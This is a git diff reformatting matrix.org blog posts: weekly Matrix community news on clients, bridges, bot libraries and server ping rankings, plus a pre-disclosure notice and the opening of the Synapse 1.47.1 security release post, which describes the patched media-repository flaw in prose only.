[hifi](https://matrix.to/#/@hifi:vi.fi) says > Release v1.6.0 🥳 +> > * Make reconnect loop more robust > * Sensitive flag for MSG and NICKSERV to hide it from network room (for AUTOCMD) > * Improved STATUS for admin room and simple STATUS for network rooms > * Small fixes -> +> > Not much going on this week. Hopefully the reconnect refactor doesn't cause any breakage as it fixed multiple issues that have been around since the inception of Heisenbridge. -> +> > Vacuum your fix from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! ## Dept of Clients 📱 @@ -116,13 +122,13 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > Do you love bugs as much as I do? ♥🐛♥ -> +> > I guess not. For that reason bug fixing in Nheko for the next release continues. We fixed a super annoying issue, where loading keys from the online backup could make Nheko stuck in a flickering mode with no way to interact with it anymore. You can now also click anywhere on a read receipt to open someones profile instead of just their avaitar, edited messages now also show as redacted, if only the original message got redacted and don't lose the reply in encrypted rooms, if the edit was sent by a client, that is not Nheko. You also used to get logged out after registration, which should finally be resolved. There were also a bazillion translation updates! Thank you, everyone who contributed to those. -> +> > We also finally merged the prettier video player, which also fixes a video playback issue on macOS. Try it out and give us feedback on it! -> -> We are still hunting down some last bugs, but expect the release soon now. In the meantime, I did start summarizing the changes, if you want to see what will be in the next release: https://github.com/Nheko-Reborn/nheko/blob/master/CHANGELOG.md#090----unreleased -> +> +> We are still hunting down some last bugs, but expect the release soon now. In the meantime, I did start summarizing the changes, if you want to see what will be in the next release: +> > That's all and have a great weekend! ### Element [↗](https://element.io) @@ -132,33 +138,33 @@ Everything related to Element but not strictly bound to a client [Nad](https://matrix.to/#/@nadonomy:matrix.org) announces > ### Threads -> +> > * Message threading is coming to Element! If you haven’t yet, head to develop.element.io and ensure ‘Enable threading’ is turned on in Labs to test on the web. -> * We’re spinning up development on iOS & Android as we speak. +> * We’re spinning up development on iOS & Android as we speak. > * We’ll also be running the first Threads community testing session next Thursday (18th Nov) at 17:00 GMT. Come join us in [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org)! > * Threads are backed by [MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440). -> +> > ### Polls -> +> > * We also recently started implementing Polls. > * On the web/desktop, we’ve implemented poll creation and displaying them in the timeline. Next up is implementing voting. > * Mobile development started recently too, with Android slightly ahead of iOS. > * Polls are backed by [MSC3381](https://github.com/matrix-org/matrix-doc/pull/3381). -> +> > ### Community Testing -> +> > * As well as the community testing on Threads, we’ll also be hosting our next testing session for Android on Wednesday (17th), with the time to be confirmed. If you’d like to be involved, join us in [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org). -> +> > ### Element Web -> -> * In the background, if you’ve been paying close attention to our issue tracker, you might have noticed lots of changes to our triage & issue workflows over the past couple of months. We’re continuing to iterate on these, extending the best learnings to iOS & Android too. +> +> * In the background, if you’ve been paying close attention to our issue tracker, you might have noticed lots of changes to our triage & issue workflows over the past couple of months. We’re continuing to iterate on these, extending the best learnings to iOS & Android too. > * We recently started a project to improve the [info architecture](https://github.com/vector-im/element-meta/issues/56)/layout of our apps, starting on the web first. We’re merging our first tweaks and experiments soon, so expect exciting things to be landing on develop! > * We’re continuing to implement more Space creation & management support on iOS. We’ve added in Space creation screens (implemented in SwiftUI!) and we’re polishing inviting people to Spaces. > * We’ve also been conducting user research to see what parts of the app are tripping users up, and working on fixes to various issues. Expect tweaks to land soon! > * Otherwise, we’re also merging & testing release candidates for upcoming releases, merging several branches. -> +> > ### Element Android -> +> > * We’ve been conducting the same user research on Android, watch this space for more tweaks & improvements coming soon! > * Otherwise, we’re also fixing up some smaller issues specific to Android 12. @@ -169,26 +175,29 @@ Cinny is a Matrix client focused on simplicity, elegance and security [ajbura](https://matrix.to/#/@ajbura:matrix.org) reports > ### Features +> > * Landing page redesign -> - Full UIAA implementation means now you can register an account on any hs that allow -> - Configure default homeserver with options to add more than one. -> - Can use http when looking for homeserver +> * Full UIAA implementation means now you can register an account on any hs that allow +> * Configure default homeserver with options to add more than one. +> * Can use http when looking for homeserver > * Enhanced invite list UX > * Added logout in loading screen > * Hide pinned space notification from home icon > * Add option to select role on roomCreation > * Added Invite/disinvite option in profile viewer -> +> > ### Bugs +> > * Fix commands activating anywhere in the input > * Fix duplicate and minus notification count > * Fix links splitting across line mid-word -> -> Find more about Cinny at https://cinny.in/ +> +> Find more about Cinny at > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp -> +> Github: +> Twitter: +> +> > ![](/blog/img/IULaxyVgqIInPgQhQJMtwJbw.png) ## Dept of Non Clients 🎛️ @@ -200,16 +209,16 @@ The time command, but it sends the output to a Matrix room [Aine](https://matrix.to/#/@aine:etke.cc) announces > It's time! time-to-matrix (ttm) v1.2.0. -> +> > A `time`-like command that will send end of an arbitrary command output and some other info (like exit status) to matrix room. Useful when you need to run something in terminal and get a ping when it's done. -> +> > Since the last ttm news in TWIM new options were added: -> +> > * matrix auth with access token - useful for SSO when you don't have actual login/password pair > * skip `time` info > * skip html formatting (doubles allowed log size in message) > * post full log output to matrix (with auto-shrinker to avoid "message is too big" error) -> +> > [Source code](https://gitlab.com/etke.cc/ttm), [releases for all major platform and architectures](https://gitlab.com/etke.cc/ttm/-/releases), and [#ttm:etke.cc](https://matrix.to/#/#ttm:etke.cc) room ## Dept of SDKs and Frameworks 🧰 @@ -221,11 +230,12 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports > Version 2.2.0 Released! -> +> > Version 2.2.0 adds support for authentication via access_tokens. > In addition to username/access_token, it is possible to authenticate using username/password and login(SSO) token. -> +> > Example usage is shown below: +> > ```python > """ > Example Usage: @@ -261,9 +271,9 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte > > bot.run() > ``` -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> +> > [View source on Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) > [View package on PyPi](https://pypi.org/project/simplematrixbotlib/) > [View docs on readthedocs.io](https://simple-matrix-bot-lib.readthedocs.io/en/latest/) @@ -277,15 +287,16 @@ Halcyon is an easy to use matrix library inspired by discord.py > Hello again! Halcyon is a Matrix bot library created with the intention of being easy to install and use. > This release brings minor non-breaking features and some bug fixes: +> > * Added -> - change_presence() now allows you to set if you are online, idle, or away. Status message support -> - Roadmap and documentation updates +> * change_presence() now allows you to set if you are online, idle, or away. Status message support +> * Roadmap and documentation updates > * Fixed -> - A fix for retrying on 5xx errors -> - A better catch for bad server syncs -> - Windows support, fixing the NotImplementedError reported by @bhuitt (Thanks!) -> -> More info at on the project at https://github.com/WesR/Halcyon . Come by and chat with us over in https://matrix.to/#/#halcyon:blackline.xyz +> * A fix for retrying on 5xx errors +> * A better catch for bad server syncs +> * Windows support, fixing the NotImplementedError reported by @bhuitt (Thanks!) +> +> More info at on the project at . Come by and chat with us over in ## Dept of Events and Talks 🗣️ @@ -294,9 +305,9 @@ Halcyon is an easy to use matrix library inspired by discord.py [ChristianP](https://matrix.to/#/@christianp:vector.modular.im) announces > Heads up for those in Berlin. You're welcome to join us Tuesday, 16th Nov at 7:00 PM chatting about Matrix development and hosting. We're going to meet in person at c-base. In compliance with the hackerspace's house rules this is a strict 2G event. -> +> > We'll talk about everyone's Matrix projects, test the P2P demo via Bluetooth in person and plan the presence of Matrix at the rC3 event happening in the c-base shortly before New Years. -> +> > If possible, join our [#matrix-berlin:matrix.org](https://matrix.to/#/#matrix-berlin:matrix.org) room. ## Dept of Interesting Projects 🛰️ @@ -304,18 +315,19 @@ Halcyon is an easy to use matrix library inspired by discord.py [Mish](https://matrix.to/#/@mishushakov:matrix.org) reports > "Sign in with Matrix" is a web component, which developers can use to build a web login using Matrix account -> +> > it is similar to those "Sign in with Google" and "Sign in with Facebook" buttons you see on the internet > but now it's Matrix! -> -> i invite you to take a look at the repository: https://github.com/mishushakov/signin-with-matrix -> and experience a demo: https://mishushakov.github.io/signin-with-matrix/ +> +> i invite you to take a look at the repository: +> and experience a demo: ## Dept of Ping 🏓 Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -332,6 +344,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|kif.rocks|1748.5| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -348,4 +361,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/11/2021-11-18-pre-disclosure-upcoming-security-release-of-synapse-1-47-1.md b/content/blog/2021/11/2021-11-18-pre-disclosure-upcoming-security-release-of-synapse-1-47-1.md index c47f120a8..be41ce6dd 100644 --- a/content/blog/2021/11/2021-11-18-pre-disclosure-upcoming-security-release-of-synapse-1-47-1.md +++ b/content/blog/2021/11/2021-11-18-pre-disclosure-upcoming-security-release-of-synapse-1-47-1.md @@ -9,7 +9,6 @@ category = ["Security"] On **Tuesday, 23rd November** we plan to release Synapse 1.47.1 at 12:00 UTC to address a single high severity issue. This vulnerability was discovered internally by our security team. Synapse is a Matrix homeserver implementation developed by the matrix.org team and the wider Matrix community. - If you're a server administrator running Synapse, **please be prepared to upgrade as soon as the patched version is released**. We will be reaching out to downstream packagers to ensure they can prepare patched versions of affected packages at the time of the release. The details of the vulnerability will be disclosed in a blog post on the day of the release. There is so far no evidence of the vulnerability being exploited in the wild. diff --git a/content/blog/2021/11/2021-11-19-this-week-in-matrix-2021-11-19.md b/content/blog/2021/11/2021-11-19-this-week-in-matrix-2021-11-19.md index 5e01c1477..dc872350d 100644 --- a/content/blog/2021/11/2021-11-19-this-week-in-matrix-2021-11-19.md +++ b/content/blog/2021/11/2021-11-19-this-week-in-matrix-2021-11-19.md @@ -24,39 +24,44 @@ A very very dense and exciting wrap up of what's happening these days in the Mat [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ### MSC Status -> +> > **New MSCs:** +> > * [MSC3489: Sharing streams of location data](https://github.com/matrix-org/matrix-doc/pull/3489) > * [MSC3488: Extending events with location data](https://github.com/matrix-org/matrix-doc/pull/3488) -> +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC2674: Event Relationships](https://github.com/matrix-org/matrix-doc/pull/2674) (merge) -> +> > **Merged MSCs:** +> > * [MSC3283: Expose capabilities for profile actions](https://github.com/matrix-org/matrix-doc/pull/3283) -> +> > ### Spec Updates -> +> > This week we finally, finally had one of the aggregation-related MSCs, [MSC2674](https://github.com/matrix-org/matrix-doc/pull/2674) (event relationships) enter final comment period! This MSC, along with [several others](https://github.com/matrix-org/matrix-doc/pull/1849#issue-406544216), document the stuff that powers message edit, reactions, the upcoming threading and polls MSCs, and much more! So it's really great to see the MSCs start to actually land. -> +> > Speaking of threading [MSC3440](https://github.com/matrix-org/matrix-doc/pull/3440) has had a good amount of review from the Spec Core Team last week. Threading in Matrix has been a long awaited feature for chat applications - as well as helping extend the flexibility of Matrix as a data structure even further. The MSC relies on both [MSC2674](https://github.com/matrix-org/matrix-doc/pull/2674) and [MSC2675](https://github.com/matrix-org/matrix-doc/pull/2675) (or a modified version of it), so the latter will be an area of focus for review for next week. -> +> > ### Spec PRs -> -> It seems that the recent [Matrix v1.1](https://matrix.org/blog/2021/11/09/matrix-v-1-1-release) has drummed up some more community support for spec PRs. Thank you to everyone who's sent in clarifications, changes and even typo fixes. In particular, [@ankur12-1610](https://github.com/ankur12-1610) for [fixes to the OpenAPI fields, and for typo corrections in the spec copy](https://github.com/matrix-org/matrix-doc/pulls?q=is%3Apr+author%3Aankur12-1610), and [@Dominaezzz](https://github.com/Dominaezzz) for helping review them. Thank you both! -> +> +> It seems that the recent [Matrix v1.1](https://matrix.org/blog/2021/11/09/matrix-v-1-1-release) has drummed up some more community support for spec PRs. Thank you to everyone who's sent in clarifications, changes and even typo fixes. In particular, [@ankur12-1610](https://github.com/ankur12-1610) for [fixes to the OpenAPI fields, and for typo corrections in the spec copy](https://github.com/matrix-org/matrix-doc/pulls?q=is%3Apr+author%3Aankur12-1610), and [@Dominaezzz](https://github.com/Dominaezzz) for helping review them. Thank you both! +> > ### Random Spec of the Week -> +> > The random spec of the week is... [MSC2867: Marking rooms as unread](https://github.com/matrix-org/matrix-doc/pull/2867)! -> +> > This is definitely a feature that I would love to have for chat. Note that this MSC proposes marking *a room* as unread, rather than a specific point in the room's timeline. This is intentional as noted in the document, as the latter is more complicated, as it intersects with sending out read receipts to other users. +> > ![](/blog/img/ab718369d44e79202665c53a70c93aa1a21450ec.png) ## Dept of Servers 🏢 @@ -68,17 +73,17 @@ Synapse is the reference homeserver for Matrix [dmr](https://matrix.to/#/@dmrobertson:matrix.org) announces > **Note:** we plan to release a **security release, Synapse 1.47.1** on the coming **Tuesday, 23rd of November**; see the [predisclosure](https://matrix.org/blog/2021/11/18/pre-disclosure-upcoming-security-release-of-synapse-1-47-1). -> +> > We released Synapse 1.47.0 after squashing a couple of problems related to database migrations remaining in 1.47.0rc2. Briefly, this release includes -> +> > * new features for users of the [admin](https://matrix-org.github.io/synapse/latest/usage/administration/admin_api/index.html) and [module](https://matrix-org.github.io/synapse/latest/modules/index.html) APIs; > * a number of long-standing bug fixes, including a thorny bug which prevented joining certain old rooms; and > * continuing efforts to prototype new MSCs and improve type coverage. -> +> > The [blog post](https://matrix.org/blog/2021/11/17/synapse-1-47-0-released) has a better summary, and [GitHub](https://github.com/matrix-org/synapse/releases/tag/v1.47.0) has the full gory details. -> +> > We also released [Sydent 2.5.1](https://github.com/matrix-org/sydent/releases/tag/v2.5.1), a minor release which improves the way we handle and log various error cases. -> +> > Thank you as ever to our community contributors, and everyone out there who's using Synapse to communicate! [dmr](https://matrix.to/#/@dmrobertson:matrix.org) also reminds us @@ -110,22 +115,23 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. [hifi](https://matrix.to/#/@hifi:vi.fi) says > Release v1.7.0 🥳 +> > * Implement "best effort" basic IRC moderation in plumbed rooms if bot has ops on IRC > * Allow configuring topic sync for plumbs (IRC<->Matrix or one way) > * Allow using forward slash (/) as MXID separator for IRC ghosts > * Bump max mautrix version to <0.12 > * Small fixes -> +> > Plumb moderation! If the bridge bot has ops on IRC it will do its best to map kicks and bans (regarding IRC users) from Matrix. This definitely isn't perfect and is meant as a convenience. -> +> > Topic synchronization is now configurable for plumbs as well to make it possible to share the same topic between an IRC channel and a plumbed Matrix room. Default is still off and it requires the bridge bot to have enough PL to work. -> -> The separator for IRC ghosts can now be changed to forward slash (/) from the default underscore (\_). This happens by modifying the regex in the registration file. Only do this for new installations and it will cause _all_ IRC users to duplicate in rooms who you can't remove and probably other bad side effects as well. The default may be changed in the future. -> +> +> The separator for IRC ghosts can now be changed to forward slash (/) from the default underscore (\_). This happens by modifying the regex in the registration file. Only do this for new installations and it will cause *all* IRC users to duplicate in rooms who you can't remove and probably other bad side effects as well. The default may be changed in the future. +> > There were lots of refactoring issues so I hope I fixed all of them 🙈. -> +> > Best effort your fix from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! Yet another week, yet another great update on Heisenbridge. At this rate Heisenbridge will reach perfection and hifi will run out of things to report! @@ -138,38 +144,38 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports -> So, Nheko has a small little release this morning! Okay, that's a lie, it was actually pretty big! You can find the full changelog and some of our binaries here: https://github.com/Nheko-Reborn/nheko/releases/tag/v0.9.0 -> +> So, Nheko has a small little release this morning! Okay, that's a lie, it was actually pretty big! You can find the full changelog and some of our binaries here: +> > As always, thank you everyone, who contributed. There were over 30 authors this release! If you haven't tried Nheko in a while, give it a whirl. Lots of stuff changed, some things might not even have been mentioned in TWIM! I put the first few lines of the changelog below for your convenience: -> +> > ### Highlights -> +> > * Somewhat stable end to end encryption 🔐 -> - Show the room verification status -> - Configure Nheko to only send to verified users -> - Store the encryption keys securely in the OS-provided secrets service. -> - Support online keybackup as well as sharing historical session keys. +> * Show the room verification status +> * Configure Nheko to only send to verified users +> * Store the encryption keys securely in the OS-provided secrets service. +> * Support online keybackup as well as sharing historical session keys. > * Crosssigning bootstrapping 🔄 -> - Crosssigning is used to simplify the verification process. In this release +> * Crosssigning is used to simplify the verification process. In this release > Nheko can setup crosssigning on a new account without having to use a > different client. -> - Nheko now also prompts you, if there are any unverified devices and asks you to verify them. +> * Nheko now also prompts you, if there are any unverified devices and asks you to verify them. > * Room directory (Manu) 📂 -> - Search for rooms on your server and other servers. (Prezu) -> - If their topic interests you and it has the right amount of members, join +> * Search for rooms on your server and other servers. (Prezu) +> * If their topic interests you and it has the right amount of members, join > the room and the discussion! > * Custom sticker packs 🐈‍⬛ -> - Add a custom sticker picker, that allows you to send stickers from MSC2545. -> - Support creating new sticker (and emote) packs. -> - You can share packs in a room and enable them globally or just for that +> * Add a custom sticker picker, that allows you to send stickers from MSC2545. +> * Support creating new sticker (and emote) packs. +> * You can share packs in a room and enable them globally or just for that > room. > * Token authenticated registration (Callum) 🎫 -> - Sign up with a token to servers, that have otherwise disabled registration. -> - This was done as part of GSoC and makes it easier to run private servers for +> * Sign up with a token to servers, that have otherwise disabled registration. +> * This was done as part of GSoC and makes it easier to run private servers for > your family and friends! -> +> > ### Features -> +> > * Support email in registration (required on matrix.org for example) > * Warn, if an @room would mention the whole room, because some people don't like that. > * Support device removal as well as renaming. (Thulinma) @@ -178,18 +184,18 @@ Desktop client for Matrix using Qt and C++17. > * Move to the next room with unread messages by pressing `Alt-A`. (Symphorien) > * Support jdenticons as a placeholder for rooms or users without avatars. > (LorenDB) -> - You will need to install https://github.com/Nheko-Reborn/qt-jdenticon +> * You will need to install > * Properly sign macOS builds. > * Support animated images like GIF and WebP. -> - Optionally just play them on hover. +> * Optionally just play them on hover. > * Support accepting knocks in the timeline. > * Close a room when clicking it again. (LorenDB) > * Close image overlay with escape. > * Support .well-known discovery during registration. > * Limited spaces support. -> - No nice display of nested spaces. -> - No previews of unjoined rooms. -> - No way to edit a space. +> * No nice display of nested spaces. +> * No previews of unjoined rooms. +> * No way to edit a space. > * Render room avatar changes in the timeline. (BShipman) > * Support pulling out the sidebar to make it wider. > * Allow editing pending messages instead of blocking until they are sent. @@ -200,7 +206,7 @@ Desktop client for Matrix using Qt and C++17. > * Forward messages. (Jedi18) > * Alt-F to forward messages. > * A new video and audio player, that should look a bit nicer. -> +> > As always, come check us out and chat about Nheko in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im) ♥ That's one massive update for Nheko! Thanks Nheko contributors! @@ -212,18 +218,18 @@ Everything related to Element but not strictly bound to a client [Nad](https://matrix.to/#/@nadonomy:matrix.org) says > ### Threads -> +> > * We’ve been polishing UI, and updating notifications on Web > * On Mobile, we’ve updates iOS & Android to be threads aware, live in the next release > * We also tested Threads more widely in a community testing session (thanks to all who attended!) -> +> > ### Polls -> +> > * We’re making good progress on polls on all platforms > * Aiming to get poll creation, voting and the ability to see results working in all platforms in our current sprint, to then move to wider testing -> +> > ### Community Testing -> +> > * Two successful testing sessions on VoIP and Threads (first community testing session on iOS!) > * Squashed 26 Android VoIP bugs > * No sessions this coming week, but we’ll be back the week after @@ -254,7 +260,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [Nad](https://matrix.to/#/@nadonomy:matrix.org) updates us with -> * Element Android 1.3.8 with support for Android 12 has been released on the PlayStore (beta channel) Wednesday. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.3.8](https://github.com/vector-im/element-android/releases/tag/v1.3.8) . The SDK 1.3.8 has also been released. If everything is fine, the app will be promoted to production and to F-Droid on Monday. The README of the project has been updated to clarify the release process: [https://github.com/vector-im/element-android#releases-to-app-stores](https://github.com/vector-im/element-android#releases-to-app-stores) +> * Element Android 1.3.8 with support for Android 12 has been released on the PlayStore (beta channel) Wednesday. Full changelog: [https://github.com/vector-im/element-android/releases/tag/v1.3.8](https://github.com/vector-im/element-android/releases/tag/v1.3.8) . The SDK 1.3.8 has also been released. If everything is fine, the app will be promoted to production and to F-Droid on Monday. The README of the project has been updated to clarify the release process: [https://github.com/vector-im/element-android#releases-to-app-stores](https://github.com/vector-im/element-android#releases-to-app-stores) > * Voice message draft is currently under active development. We want the feature to work well before we release it, and it was an opportunity to rework the whole feature, to improve its architecture. > * Still working on the timeline rework. @@ -289,12 +295,13 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports -> ### Version 2.3.0 Released! -> +> ### Version 2.3.0 Released +> > simplematrixbotlib is an easy to use bot library for the Matrix ecosystem written in Python and based on matrix-nio. Version 2.3.0 adds support for additional configuration via config files and other methods. Currently, there is only one setting that can be changed, however many existing and future features will be able to be enabled or disabled via this config. -> +> > Example usage is shown below: -> ``` +> +> ```python > """ > random_user > !echo something @@ -322,15 +329,16 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte > > bot.run() > ``` -> +> > An example of a toml config file is shown below. +> > ```toml > [simplematrixbotlib.config] > join_on_invite = false > ``` -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> +> > [View source on Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) > [View package on PyPi](https://pypi.org/project/simplematrixbotlib/) > [View docs on readthedocs.io](https://simple-matrix-bot-lib.readthedocs.io/en/latest/) @@ -345,14 +353,14 @@ The backoffice of etke.cc service [Aine](https://matrix.to/#/@aine:etke.cc) reports > *ding-dong* Mother Miounne v2.2.0 is here! -> +> > Miounne is a backoffice of the [etke.cc](https://etke.cc) service. -> +> > New release brings notifications for integrated services: -> +> > * buymeacoffee notifications on new purchase, supporter, subscription and unsubscription (can be configured independently) > * matrix-registration notifications for new and used invite tokens (can be configured independently) -> +> > Go check out the [source code](https://gitlab.com/etke.cc/miounne) and say hello in [#miounne:etke.cc](https://matrix.to/#/#miounne:etke.cc) ## Dept of Bots 🤖 @@ -364,10 +372,11 @@ The moderation bot for Matrix [Yoric](https://matrix.to/#/@dotyoric:matrix.org) announces > ### Mjölnir v1.2.1 released +> > * New feature: if a user on your homeserver reports abuse, Mjölnir may now show the abuse report in your moderation room and offer you two-click moderation options. This feature is considered a preview for the time being. > * Performance improvements for protections that need to lock back in the history of a room, decreasing the number of cases in which we could end up timing out. > * Many improvements to testing. -> +> > Note: Any rumor of a v1.2.0 Docker image borked by yours truly is sadly true. There should be no risk in 1.2.0 but, to be on the safe side, if you have updated to 1.2.0, please update to 1.2.1. That's one feature I've wanted for a while, and it's going to make moderation a lot easier! Thanks Mjolnir teams for keeping us safe! @@ -379,37 +388,38 @@ That's one feature I've wanted for a while, and it's going to make moderation a [Henri Carnot](https://matrix.to/#/@henri2h:carnot.cc) says > Hi all !! -> +> > Today I want to showcase you MinesTRIX. MinesTRIX is a decentralized social media based on matrix. > The goal is to create a privacy respectful social media using the power of matrix while trying to be as simple as possible. -> +> > ### Two Objectives -> +> > * Showing that matrix could be used to build such a system. > * Helping find your friends using matrix -> +> > ### Currently supported -> +> > * Posting > * Adding and accepting friends > * Basic post management > * Creating groups, posting and adding users to it > * E2EE device verification (thanks FluffyChat !!) > * Cross platform thanks to Flutter (Android, iOS, Linux, Windows, MacOS, WEB) -> +> > ### Now what ? -> +> > * Stability fixes > * Finding a logo ;) > * Bring sharing functionality for public groups. > * Adding support for the Circle application. > * Enhance the friends' suggestion algorithm (Currently it's a really naïve one :D) > * Add reactions for chats and posts -> +> > [🚀 About](https://minestrix.henri2h.fr/) > [Demo](https://app.minestrix.henri2h.fr/) > [🏗️ Gitlab](https://gitlab.com/minestrix/minestrix-flutter) > [Chat](https://matrix.to/#/!dDmzUleHWblVbYBPcf:carnot.cc?via=carnot.cc) +> > ![](/blog/img/OcpvYwJsrXGYyhOEtxUUlhMo.png) That's a fascinating client, it looks absolutely fantastic! It reminds me a little of [Cerrulean](https://github.com/matrix-org/cerulean). Good job Henri! @@ -418,14 +428,14 @@ That's a fascinating client, it looks absolutely fantastic! It reminds me a litt [Paul](https://matrix.to/#/@ptman:kapsi.fi) says > There was the "Sign in with Matrix" project recently -> -> I tried to do something similar with https://matrix-login.lyc.fi / https://gitlab.com/ptman/matrix-login +> +> I tried to do something similar with / An important note on the interesting projects using Matrix for the login: those are community projects, and there are MSCs in the works to "do it right" at the Spec level! As Matthew Hodgson [reported in a comment on Hacker News](https://news.ycombinator.com/item?id=29242445) : -> The direction we're headed in the Matrix spec core team is instead towards replacing Matrix's current auth mechanisms with normal Open ID Connect (rather than wrapping our own OIDC-like thing, as we do today) - as per https://github.com/sandhose/matrix-doc/blob/msc/sandhose/oauth2-profile/proposals/2964-oauth2-profile.md The common login flow would then be for users to be authed by their server using a trusted OIDC identity provider, rather than ever trusting arbitrary clients with their credentials. +> The direction we're headed in the Matrix spec core team is instead towards replacing Matrix's current auth mechanisms with normal Open ID Connect (rather than wrapping our own OIDC-like thing, as we do today) - as per The common login flow would then be for users to be authed by their server using a trusted OIDC identity provider, rather than ever trusting arbitrary clients with their credentials. ## Dept of Guides 🧭 @@ -440,17 +450,17 @@ That's one very useful list of hand curated servers! The transparency about the [Timo ⚡️](https://matrix.to/#/@timokoesters:fachschaften.org) announces > Hi everyone! Did you ever feel lost in the Matrix world? The room directory is big, but it's still hard to find something you like. Or are you a room moderator, but there is not much activity in your room because it doesn't have enough users? -> +> > This is why I want to share rooms (or spaces) I find interesting. -> +> > --- -> -> This week's room is: [#travel:hacklab.fi](https://matrix.to/#/#travel:hacklab.fi) -> +> +> This week's room is: [#travel:hacklab.fi](https://matrix.to/#/#travel:hacklab.fi) +> > **"Discussion about destinations, culture, hotels, flights etc.. English only, be nice to each other."** -> +> > --- -> +> > If you want to suggest a room for this section, tell me in [#roomoftheweek:fachschaften.org](https://matrix.to/#/#roomoftheweek:fachschaften.org) ## Dept of Ping 🏓 @@ -458,6 +468,7 @@ That's one very useful list of hand curated servers! The transparency about the Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -474,6 +485,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|trygve.me|2147| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -488,4 +500,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/11/2021-11-23-synapse-1-47-1-released.md b/content/blog/2021/11/2021-11-23-synapse-1-47-1-released.md index e6a45f68e..5188e94c1 100644 --- a/content/blog/2021/11/2021-11-23-synapse-1-47-1-released.md +++ b/content/blog/2021/11/2021-11-23-synapse-1-47-1-released.md @@ -8,15 +8,16 @@ author = ["David Robertson"] category = ["Releases", "Security"] +++ -Today we are releasing Synapse 1.47.1, a security update based on last week's release of [Synapse 1.47.0](https://matrix.org/blog/2021/11/17/synapse-1-47-0-released). This [release](https://github.com/matrix-org/synapse/releases/tag/v1.47.1) patches one high severity issue affecting Synapse installations 1.47.0 and earlier using the media repository. An attacker could cause these Synapses to download a remote file and store it in a directory outside the media repository. +Today we are releasing Synapse 1.47.1, a security update based on last week's release of [Synapse 1.47.0](https://matrix.org/blog/2021/11/17/synapse-1-47-0-released). This [release](https://github.com/matrix-org/synapse/releases/tag/v1.47.1) patches one high severity issue affecting Synapse installations 1.47.0 and earlier using the media repository. An attacker could cause these Synapses to download a remote file and store it in a directory outside the media repository. Note that: + - This only affects homeservers using Synapse's built-in media repository, as opposed to [synapse-s3-storage-provider](https://github.com/matrix-org/synapse-s3-storage-provider) or [matrix-media-repo](https://github.com/turt2live/matrix-media-repo). - Attackers cannot control the exact name or destination of the 